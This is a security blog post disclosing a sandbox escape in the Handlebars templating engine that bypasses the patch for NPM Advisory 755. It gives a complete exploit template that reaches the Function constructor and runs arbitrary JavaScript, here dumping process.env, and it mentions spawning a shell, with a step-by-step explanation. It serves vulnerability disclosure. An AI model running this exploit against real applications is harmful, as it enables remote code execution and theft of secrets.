After reading about NPM Advisory 755 in Mahmoud Gamal's blog post, I decided to poke around a bit and see if there are other ways to trick handlebars into letting us escape the sandbox.
Exploit
{{! js payload. you can spawn a shell by calling process.binding("spawn_sync") with the correct arguments to bypass not having access to require }}
{{#with "console.log(JSON.stringify(process.env,null, 2))" }}
{{#with (split "💩" 1) as |payload|}}
{{! set this['undefined'] = this.valueOf }}
{{__defineGetter__ "undefined" valueOf }}
{{! sets context to valueOf, this is what we'll be calling bind on later }}
{{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}
{{! set the context = Function.prototype.constructor }}
{{__defineGetter__ "undefined" this.constructor}}
{{#with __lookupGetter__ as |ctor| }}
{{! setup a getter that will execute our payload }}
{{__defineGetter__ "hax" (ctor.apply ctor payload)}}
{{{hax}}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Background
Handlebars is a logicfull templating engine that attempts to restrict what you can do by providing a limited sandbox for your templates to run it. In the end, your templates are compiled to javascript and so it's a pretty tricky feat to pull off.
The patch to the prototype pollution vulnerability in NPM Advisory 755 is essentially to deny reading/writing properties if the property is not enumerable. We need access to Function.prototype.constructor
to run our payload so we need to bypass this check.
Our goals
In order to get this exploit cooking we need to accomplish the following:
- Override
propertyIsEnumerable
with a function that always returns true in order to bypass the mitigation to NPM 755 - Get a reference to the
Function
constructor - Call the function constructor with an attacker controlled thing
- Call the constructed function to execute our payload
Setting up the payload
Our first step is to create an array containing a single string element which defines which javascript we're going to execute. This is accomplished by calling split
after setting the this
to the string containing our payload:
{{#with "console.log(JSON.stringify(process.env,null, 2))" }}
{{#with (split "💩" 1) as |payload|}}
// context = "console.log(JSON.stringify(process.env,null, 2))"
// payload = context.split("💩", 1") // ["<payload>"]
Abusing the with helper
In handlebars, if you can call functions with this
bound to the current context. As you can see above, we used the with
helper to set the context to a string and call split.
The with
helper is a lot like the with
operator in Javascript. Effectively, it changes what this
is. We want to set the context to a Function
but handlebars throws us a curveball! If you pass a function to the with
helper, it will call the function with no arguments and use the return value as the context, not the function itself.
You can think of:
{{#with something}}
{{something}}
{{/with}}
As:
output(something())
But we need:
output(something)
So how do we get around this? We need a function that will return a function.
Leveraging __defineGetter__
and __setGetter__
These two little functions are easy to forget but are very useful. Essentially, __defineGetter__
let's define a function that is called every time you access a property and returns a value for it. It's partner __lookupGetter__
simply returns the function that is used to generate the value.
If we look at the first step in the exploit:
{{__defineGetter__ "undefined" valueOf }}
{{! sets context to valueOf, this is what we'll be calling bind on later }}
{{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
{{#with __lookupGetter__ }}
This effectively compiles down to something like:
this.__defineGetter__("undefined", this.valueOf)
with(this.__lookupGetter__()) {
....
}
We can't control the arguments passed to __lookupGetter__
but luckily in javascript if you don't pass an argument the variable will be set to undefined
. This will get cast to a string and end up being the same as calling __lookupGetter__("undefined")
. So, all we have to do to set the context to a function is define a getter with the property name "undefined"
and use {#with __lookupGetter__}
.
Bypassing the patch
In order to bypass the patch, we need to make propertyIsEnumerable
always return 1
.
With our shiny new primitive, we can do this via:
{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}
What we've done here is set a getter for propertyIsEnumerable
to valueOf
bound with a context of the number 1
.
You can think of this block as:
valueOf.__defineGetter__("propertyIsEnumerable", valueOf.bind(valueOf.valueOf.bind(1)))
// valueOf.propertyIsEnumerable = function() {
// return (1).valueOf()
//}
Now context.propertyIsEnumerable
will always return 1!
With the bypass out of the way, we simply get a reference to this.constructor
which will be Function
and call it with our payload.
Timeline
I reported this to NPM Security about 5 months back and haven't received a response. Since this vulnerability requires a template injection already I've decided to disclose it.